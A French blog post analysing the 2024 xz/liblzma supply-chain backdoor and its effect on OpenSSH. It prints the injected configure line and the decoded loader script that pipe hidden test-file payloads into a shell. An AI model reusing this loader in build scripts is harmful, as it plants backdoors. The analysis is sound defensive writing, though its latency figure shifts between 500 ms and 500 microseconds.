Plonger en profondeur dans la porte dérobée xz/liblzma

 Publié le March 31, 2024  |  13 minutes  |  2586 mots  |  Lucas Jahier

Une petite introduction avant de débuter

Au cœur de l’immense écosystème technologique, certains composants essentiels constituent la fondation sur laquelle reposent d’innombrables applications et systèmes informatiques. Parmi ces éléments fondamentaux, xz/liblzma émerge comme un pilier, reconnu non seulement pour sa capacité de compression mais aussi pour son omniprésence dans nos systèmes et sa fiabilité. Cette bibliothèque de compression, célèbre pour son algorithme et son adaptabilité, joue un rôle important dans une variété de processus au sein des systèmes, des applications et du monde du développement.

L’utilitaire de compression xz, en s’appuyant sur la bibliothèque xz/liblzma, se distingue par l’utilisation de l’algorithme LZMA, offrant ainsi un des meilleurs ratios de compression. Ce choix, pour la distribution de logiciels, l’archivage de données et l’optimisation de l’espace disque est dû à son efficacité et à sa fiabilité, ce qui a encouragé son adoption généralisée à travers diverses plateformes et systèmes d’exploitation, soulignant son importance dans l’industrie.

Dans l’univers des systèmes d’exploitation Linux, le rôle de xz/liblzma est d’autant plus critique. De nombreuses distributions Linux comptent sur cette bibliothèque pour la compression de leurs paquets, influençant à la fois les développeurs et les utilisateurs finaux, qui bénéficient d’une optimisation en termes de téléchargement et de stockage. Au-delà des applications, xz/liblzma est indispensable dans la gestion de serveurs, l’analyse de données, et d’autres domaines où l’efficacité de stockage et de transmission des données est très importante.

Toutefois, l’importance de cet outil dépasse sa base d’utilisateurs immédiate. Dans la communauté open-source, où les librairies sont étroitement interdépendantes, l’intégrité et la sécurité de chaque élément ont un impact considérable. Une faille dans un outil central tel que xz/liblzma peut avoir des répercussions dramatiques, touchant une multitude de projets et de systèmes qui dépendent de sa fiabilité.

Par conséquent, en scrutant la révélation d’une backdoor au sein d’une infrastructure aussi essentielle, nous ne nous penchons pas uniquement sur une anomalie isolée. Nous nous confrontons à une question qui atteint le cœur même de l’infrastructure technologique, mettant en lumière l’impératif de vigilance et la nécessité d’instaurer des mesures de sécurité rigoureuses dans notre monde autant interconnecté.

Découverte de la Backdoor

Nous avons tous a été alertée par un message d’Andres Freund, révélant une vulnérabilité critique dans la bibliothèque xz/liblzma, composant essentiel dans de nombreux systèmes et applications. Voici une analyse détaillée basée sur ses observations et les informations partagées :

Tarball Compromis

Une partie de la backdoor a été trouvée exclusivement dans les tarballs distribués, spécifiquement dans les versions 5.6.0 et 5.6.1. Cette portion n’est pas présente dans les sources en amont du build, mais uniquement dans les tarballs publiés, ce qui nous suggère une altération durant la phase de build. Voici un extrait du script injecté qui est exécuté à la fin de la configuration :

...; sed rpath ../../../tests/files/bad-3-corrupt_lzma2.xz | tr "	 \-_" " 	_\-" | xz -d | /bin/bash >/dev/null 2>&1; ...

Ce script, lorsqu’il est déchiffré, révèle les commandes suivantes, indiquant l’extraction et l’exécution d’un code malveillant :

####Hello####
#��Z�.hj�
eval `grep ^srcdir= config.status`
if test -f ../../config.status;then
eval `grep ^srcdir= ../../config.status`
srcdir="../../$srcdir"
fi
export i="((head -c +1024 >/dev/null) && head -c +2048 && (head -c +1024 >/dev/null) && head -c +2048 && (head -c +1024 >/dev/null) && head -c +2048 && (head -c +1024 >/dev/null) && head -c +2048 && (head -c +1024 >/dev/null) && head -c +2048 && (head -c +1024 >/dev/null) && head -c +2048 && (head -c +1024 >/dev/null) && head -c +2048 && (head -c +1024 >/dev/null) && head -c +2048 && (head -c +1024 >/dev/null) && head -c +2048 && (head -c +1024 >/dev/null) && head -c +2048 && (head -c +1024 >/dev/null) && head -c +2048 && (head -c +1024 >/dev/null) && head -c +2048 && (head -c +1024 >/dev/null) && head -c +2048 && (head -c +1024 >/dev/null) && head -c +2048 && (head -c +1024 >/dev/null) && head -c +2048 && (head -c +1024 >/dev/null) && head -c +2048 && (head -c +1024 >/dev/null) && head -c +724)";(xz -dc $srcdir/tests/files/good-large_compressed.lzma|eval $i|tail -c +31265|tr "\5-\51\204-\377\52-\115\132-\203\0-\4\116-\131" "\0-\377")|xz -F raw --lzma1 -dc|/bin/sh
####World####

Répertoire Compromis

Les fichiers contenant la majorité de l’exploit se trouvent dans un format obscurci dans les fichiers bad-3-corrupt_lzma2.xz et good-large_compressed.lzma du dépot qui contient les sources. Les changements apportés à ces fichiers n’étaient pas destinés à des “tests” dans la version 5.6.0, ajoutant une couche de mystère à leur présence.

Impact sur le serveur OpenSSH

L’incidence de la backdoor découverte dans xz/liblzma s’est avérée particulièrement préoccupante pour les performances et la sécurité des serveurs OpenSSH. L’un des premiers signes observés par Andres Freund a été un ralentissement notable des connexions SSH. Ce changement dans les temps de connexion n’est pas seulement une question de dégradation des performances, il nous suggère également que quelque chose se déroule en arrière-plan.

Pour illustrer concrètement cet impact :

  • Avant la compromission : 0m0.299s.
  • Après la compromission : 0m0.807s.

On peut voir après analyse des chiffres que le temps après compression prend 500ms de plus.

Petit aparté

Par ailleurs, dans le contexte actuel où les ingénieurs logiciels sont souvent préoccupés par le choix des frameworks ou la pertinence de technologies émergentes, il est crucial de ne pas perdre de vue l’essentiel : notre capacité à détecter des anomalies significatives dans le comportement des systèmes que nous construisons. L’augmentation de 500 microsecondes dans le temps de connexion SSH, bien que minime en apparence, devrait servir de signal d’alarme pour les professionnels attentifs. Dans un monde idéal, un ingénieur logiciel devrait être en mesure de reconnaître et d’agir sur de tels écarts, qui indiquent souvent des problèmes sous-jacents nécessitant une attention immédiate.

Le travail de “@jboner”, qui a publié le gist “Latency Numbers Every Programmer Should Know”, offre une perspective éclairante sur ce sujet. Il détaille des chiffres de latence que chaque programmeur devrait connaître, allant du temps d’accès au cache L1 (0.5 ns) jusqu’au temps nécessaire pour un aller-retour transcontinental entre la Californie et les Pays-Bas (150 ms). Ces chiffres soulignent l’importance de la sensibilisation aux latences et à leur impact potentiel sur les performances des systèmes.

La prise de conscience et la compréhension de ces chiffres devraient être une priorité pour les ingénieurs logiciels, non seulement pour optimiser les performances mais également pour identifier et résoudre rapidement les anomalies qui pourraient signaler des problèmes de sécurité ou de stabilité. Dans le cas de la backdoor xz/liblzma, ne reconnaître la signification d’une telle dégradation du temps de réponse aurait pu conduire à une identification plus tardive de la faille de sécurité, et donc des conséquences bien plus grave.

Tout ceci souligne l’importance d’une vigilance constante et d’une compréhension approfondie des fondamentaux de l’informatique.

D’accord, voici une analyse technique reformulée en mode paragraphe avec des éléments techniques concis en listes à puces :

Analyse Technique de l’Impact de la Backdoor xz/liblzma sur OpenSSH

La découverte d’une backdoor dans xz/liblzma a soulevé des inquiétudes significatives en ce qui concerne la sécurité des serveurs utilisant OpenSSH. OpenSSH, en tant qu’outil essentiel pour la gestion sécurisée des accès et des communications sur des réseaux informatiques, repose sur diverses bibliothèques système, et bien que son fonctionnement principal ne soit pas directement dépendant de xz/liblzma, la présence de cette backdoor dans des systèmes où les deux coexistent peut entraîner des vulnérabilités indirectes.

La backdoor impacte des fonctions clés d’OpenSSH, notamment le processus d’authentification, en modifiant le comportement des fonctions systèmes sur lesquelles OpenSSH s’appuie. Le détournement de ces fonctions peut permettre à un attaquant de compromettre les mécanismes d’authentification ou d’exécuter du code arbitraire sur le serveur.

Voici quelques éléments clés affectés par la backdoor :

  • Interception des fonctions : La backdoor modifie les pointeurs de fonction pour rediriger des fonctions essentielles vers des fonctions à des fins malveillantes.
    • RSA_public_decrypt : utilisée dans l’authentification, peut être détournée pour compromettre le processus.
  • Modifications potentielles : Des changements introduits par la backdoor pourraient inclure :
    • Enregistrement des clés privées.
    • Altération des processus de vérification.

Approfondissons l’analyse technique basée sur les observations partagées par Filippo Valsorda concernant les spécificités de cette vulnérabilité dans le contexte d’OpenSSH.

Filippo Valsorda a noté que la fonction interceptée RSA_public_decrypt est utilisée non pas pour déchiffrer des données, comme son nom pourrait le suggérer, mais plutôt pour vérifier la signature du serveur hôte en utilisant une clé Ed448 définie. Suite à cette vérification, un payload est passé à la fonction system(), ce qui indique une exécution de code à distance (RCE) plutôt qu’une simple contournement d’authentification.

Voici les points clés de l’analyse de Valsorda :

  • Fonctionnement de la backdoor :

    • La backdoor utilise RSA_public_decrypt pour vérifier une signature avec une clé Ed448.
    • Après la vérification, un payload est injecté et exécuté, caractérisant une vulnérabilité d’exécution de code à distance.

  • Extraction du payload :

    • Le payload est extrait de la valeur N (la clé publique) passée à RSA_public_decrypt.
    • Avant la vérification de la signature Ed448, le payload est vérifié avec une empreinte simple et déchiffré avec une clé fixe ChaCha20.

  • Contrôle par l’attaquant :

    • La clé publique utilisée par RSA_public_decrypt peut être contrôlée par l’attaquant avant l’authentification en utilisant les certificats OpenSSH, qui incluent la clé publique du signataire.

  • Comportement conditionnel :

    • La backdoor retourne à un fonctionnement normal si le payload est mal formé ou si la signature ne correspond pas à celle attendue par la backdoor.

  • Nature “gated” et “unreplayable” :

    • L’utilisation de la backdoor nécessite la clé privée de l’attaquant, ce qui signifie qu’elle est conçue pour être non réutilisable (NOBUS) et ne peut pas être exploitée à travers un scanner réseau fiable et réutilisable.
    • Même si une attaque est observée sur un hôte, elle ne peut pas être répliquée sur un autre, car la signature de l’attaquant est liée à la clé publique de l’hôte cible, mais pas à la commande exécutée.

Cette analyse souligne la sophistication de l’attaque et la nécessité pour les ingénieurs et administrateurs système de comprendre en profondeur les mécanismes d’OpenSSH pour mieux se prémunir contre de telles vulnérabilités. Elle rappelle également l’importance de pratiques de sécurité robustes, y compris la validation des certificats et la surveillance attentive des anomalies dans les opérations du serveur.

Pour atténuer ces risques, il est plus qu’important pour les ingénieurs et administrateurs systèmes de :

  • Mettre à jour : Assurer que xz/liblzma et OpenSSH sont mis à jour vers les versions non affectées (dans un premier temps la version 5.4.6 à l’air d’être la dernière fiable en date).
  • Vérifier : Examiner les systèmes pour détecter toute activité ou configuration inhabituelle qui pourrait indiquer une intrusion.
  • Auditer : Réaliser des audits de sécurité réguliers pour identifier et corriger les vulnérabilités potentielles.

Analyse technique

Pour ceux qui souhaitent approfondir leur compréhension de cette attaque et explorer une analyse technique plus détaillée, je vous encourage vivement à consulter le site de Gynvael Coldwind. Sur son blog, disponible à https://gynvael.coldwind.pl/?lang=en&id=782, vous trouverez des explications approfondies sur les mécanismes utilisés et une analyse technique profonde. Qui que vous soyez, ce blog post constitue une ressource inestimable pour une compréhension approfondie.

Les Implications Plus Larges

La découverte de cette backdoor est un rappel sévère des vulnérabilités inhérentes à la chaîne d’approvisionnement logicielle. Le fait que la backdoor ait été intégrée dans des outils de compression largement utilisés et qu’elle ait affecté un composant critique de l’infrastructure comme le serveur OpenSSH souligne la portée et l’impact potentiel de telles attaques.

Cet incident met en évidence la nécessité de mesures de sécurité rigoureuses à chaque étape du cycle de vie du développement logiciel. Il souligne également l’importance d’un examen approfondi et d’un audit des bibliothèques et outils tiers, car les vulnérabilités dans ces composants peuvent avoir des conséquences considérables.

De plus, le cas illustre les défis de la détection de backdoors subtiles dans des environnements logiciels complexes. L’utilisation de commandes Unix basiques pour l’offuscation dans cette attaque démontre comment les attaquants peuvent exploiter les complexités du processus de construction pour insérer du code malveillant sans éveiller de soupçons.

Les implications plus larges de cette découverte s’étendent au-delà des préoccupations de sécurité immédiates. Elles touchent à la confiance et à la fiabilité des logiciels open-source et au rôle crucial de la vigilance et de la collaboration communautaires pour identifier et traiter les menaces de sécurité. L’incident est un appel à l’action pour les développeurs, les professionnels de la sécurité et les utilisateurs de logiciels pour rester constamment vigilants face aux défis de la cybersécurité en évolution.

Réflexions sur la Maintenance des Projets Open Source

Le mail de Lasse Collin datant du 08 juin 2022 met en lumière les défis auxquels sont confrontés les mainteneurs de projets open source, particulièrement ceux qui sont devenus des composants fondamentaux de nos infrastructures logicielles. La discussion avec Jigar Kumar nous révèle une réalité bien trop sous-estimée, la maintenance de tels projets repose régulièrement sur les épaules de quelques personnes, souvent bénévolement, qui, malgré leur passion, sont soumis à des contraintes personnelles et professionnelles.

L’aveu de Collin concernant ses problèmes de santé mentale et autres soucis personnels qui limitent sa capacité à maintenir le projet XZ Utils est un rappel poignant que derrière chaque ligne de code, il y a un être humain avec ses propres luttes et défis. Cela nous souligne l’importance d’une communauté et de la nécessité de reconnaître le travail des mainteneurs comme une contribution précieuse, méritant soutien et reconnaissance, même, et surtout, pour des projets non rémunérés.

Cet échange révèle les défis humains inhérents à la maintenance des projets open source, qui se retrouvent être aujourd’hui vitaux pour nos infrastructures. Quand Collin parle de ses propres défis personnels, cela nous met en lumière une réalité bien trop peu mise en avant.

Ce contexte, parfaitement normal et humain, peut cependant ouvrir la porte à du social engineering, où de grands projets open source pourraient, dans leur quête de soutien, involontairement accorder des rôles de contributeurs officiels à des individus aux intentions cachées. Ils peuvent, comme dans ce contexte pour la librairie xz/liblzma, potentiellement introduire de nouvelles vulnérabilités au sein des projets si ces individus ne partagent pas les mêmes normes éthiques que la communauté intiale.

La transition vers de nouveaux mainteneurs, mentionnée par Collin comme une potentielle suite après la sortie d’une nouvelle version stable d’XZ Utils, souligne la nécessité d’une vigilance élevé dans la sélection des contributeurs. La communauté open source doit trouver un équilibre délicat entre l’ouverture à de nouvelles contributions et la diligence raisonnable pour s’assurer que les nouveaux venus ont non seulement la compétence technique, mais aussi l’intégrité pour maintenir les standards du projet.

Conclusion

L’incident de la backdoor xz/liblzma constitue une sonnette d’alarme pour la communauté open source et les développeurs de logiciels en général. Il souligne la nécessité d’une vigilance accrue, de revues de code approfondies et de pratiques de sécurité robustes pour se prémunir contre les menaces de plus en plus sophistiquées et discrètes. Alors que nous continuons à investiguer toute cette attaque, profitons-en pour s’en servir comme opportunité d’apprentissage pour améliorer nos processus et protéger l’intégrité de nos écosystèmes et infrastructures.

Cet événement met en lumière l’importance de la gouvernance et de la gestion des projets open source, rappelant que la sécurité n’est pas seulement une question de code, mais aussi de communauté, de collaboration et de soutien. Il rappelle à tous les acteurs de l’écosystème l’importance d’être constamment alertes, de partager les connaissances et les meilleures pratiques, et de travailler ensemble pour renforcer la sécurité de nos infrastructures. En tirant les leçons de cet incident, nous pouvons avancer vers un avenir où la sécurité et la résilience seront intégrées au cœur de nos initiatives open source et de nos développements.